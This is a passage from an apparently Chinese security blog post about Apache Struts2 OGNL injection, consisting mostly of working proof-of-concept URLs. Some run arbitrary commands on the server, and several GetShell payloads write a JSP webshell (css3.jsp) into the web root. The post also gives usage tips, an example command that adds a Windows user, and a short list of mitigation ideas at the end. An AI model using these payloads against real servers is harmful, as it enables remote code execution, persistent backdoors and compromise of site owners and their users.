http://127.0.0.1/Struts2/hello.action?a=1${%23_memberAccess[%22allowStaticMethodAccess%22]=true,[email protected]@getRequest(),[email protected]@getRuntime().exec(%23req.getParameter(%22cmd%22)),%23iswinreader=new%20java.io.DataInputStream(%23exec.getInputStream()),%23buffer=new%20byte[1000],%23iswinreader.readFully(%23buffer),%23result=new%20java.lang.String(%23buffer),[email protected]@getResponse(),%23response.getWriter().println(%23result),%23response.close()}&cmd=cmd%20/c%20set

POC6:

http://localhost/struts2-blank/example/HelloWorld.action?redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{'netstat','-an'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}

其實在Java裡面要去執行一個命令的方式都是一樣的,簡單的靜態呼叫方式

java.lang.Runtime.getRuntime().exec("net user selina 123 /add");

就可以執行任意命令了。Exec執行後返回的型別是java.lang.Process。Process是一個抽象類,final class ProcessImpl extends Process也是Process的具體實現。而命令執行後返回的Process可以通過

public OutputStream getOutputStream()
public InputStream getInputStream()

直接輸入輸出流,拿到InputStream之後直接讀取就能夠獲取到命令執行的結果了。而在Ognl裡面不能夠用正常的方式去讀取流,而多是用DataInputStream的readFully或BufferedReader的read方法全部讀取或者按byte讀取的。因為可能會讀取到半個中文字元,所以可能會存在亂碼問題,自定義每次要讀取的大小就可以了。POC當中的/c 不是必須的,執行dir之類的命令可以加上。

Process java.lang.Runtime.exec(String command) throws IOException

2013072423412230696.png

2013072423413593661.png

GetShell POC:

poc1:

http://127.0.0.1/Struts2/test.action?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean(%22false%22)))&(i1)(('\43req\[email protected]@getRequest()')(d))&(i12)(('\43xman\[email protected]@getResponse()')(d))&(i13)(('\43xman.getWriter().println(\43req.getServletContext().getRealPath(%22\u005c%22))')(d))&(i2)(('\43fos\75new\40java.io.FileOutputStream(new\40java.lang.StringBuilder(\43req.getRealPath(%22\u005c%22)).append(@[email protected]).append(%22css3.jsp%22).toString())')(d))&(i3)(('\43fos.write(\43req.getParameter(%22p%22).getBytes())')(d))&(i4)(('\43fos.close()')(d))&p=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b%25%3e

POC2(型別轉換漏洞需要把POC加在整型引數上):

http://127.0.0.1/Struts2/test.action?id='%2b(%23_memberAccess[%22allowStaticMethodAccess%22]=true,[email protected]@getRequest(),new+java.io.BufferedWriter(new+java.io.FileWriter(%23req.getRealPath(%22/%22)%2b%22css3.jsp%22)).append(%23req.getParameter(%22p%22)).close())%2b'%20&p=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b%25%3e

POC3(需要注意這裡也必須是載入一個String(字串型別)的引數後面,使用的時候把URL裡面的兩個foo替換成目標引數(注意POC裡面還有個foo)):

http://127.0.0.1/Struts2/hello.action?foo=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,[email protected]@getRequest(),new+java.io.BufferedWriter(new+java.io.FileWriter(%23req.getRealPath(%22/%22)%2b%22css3.jsp%22)).append(%23req.getParameter(%22p%22)).close())(meh%29&z[%28foo%29%28%27meh%27%29]=true&p=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b%25%3e

POC4:

http://127.0.0.1/Struts2/hello.action?class.classLoader.jarPath=(%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d=+new+java.lang.Boolean(false),%23_memberAccess%5b%22allowStaticMethodAccess%22%5d=true,[email protected]@getRequest(),new+java.io.BufferedWriter(new+java.io.FileWriter(%23req.getRealPath(%22/%22)%2b%22css3.jsp%22)).append(%23req.getParameter(%22p%22)).close()(aa)&x[(class.classLoader.jarPath)('aa')]&p=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b%25%3e

POC5:

http://127.0.0.1/Struts2/hello.action?a=1${%23_memberAccess[%22allowStaticMethodAccess%22]=true,[email protected]@getRequest(),new+java.io.BufferedWriter(new+java.io.FileWriter(%23req.getRealPath(%22/%22)%2b%22css3.jsp%22)).append(%23req.getParameter(%22p%22)).close()}&p=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b%25%3e

POC6:

http://localhost/Struts2/test.action?redirect:${%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23p%3d(%23req.getRealPath(%22/%22)%2b%22css3.jsp%22).replaceAll("\\\\", "/"),new+java.io.BufferedWriter(new+java.io.FileWriter(%23p)).append(%23req.getParameter(%22c%22)).close()}&c=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b%25%3e

比如POC4當中首先就是把allowStaticMethodAccess改為trute即允許靜態方法訪問。然後再獲取請求物件,從請求物件中獲取網站專案的根路徑,然後在根目錄下新建一個css3.jsp,而css3.jsp的內容同樣來自於客戶端的請求。POC4中的p就是傳入的引數,只要獲取p就能獲取到內容完成檔案的寫入了。之前已經說過Java不是動態的指令碼語言,所以沒有eval。不能像PHP那樣直接用eval去動態執行,所以Java裡面沒有真正意義上的一句話木馬。菜刀只是提供了一些常用的一句話的功能的具體的實現,所以菜刀的程式碼會很長,因為這些程式碼在有eval的情況下是可以通過傳送請求的形式去構造的,在這裡就必須把程式碼給上傳到伺服器去編譯成執行。

Struts2:

關於修補僅提供思路,具體的方法和補丁不提供了。Struts2預設字尾是action或者不寫字尾,有的改過程式碼的可能其他字尾如.htm、.do,那麼我們只要攔截這些請求進行過濾就行了。

1、  從CDN層可以攔截所有Struts2的請求過濾OGNL執行程式碼
2、  從Server層在請求Struts2之前攔截其Ognl執行。
3、  在專案層面可以在struts2的filter加一層攔截
4、  在Struts2可以用攔截器攔截
5、  在Ognl原始碼包可以攔截惡意的Ognl請求
6、  實在沒辦法就打補丁
7、  終極解決辦法可以考慮使用其他MVC框架

相關文章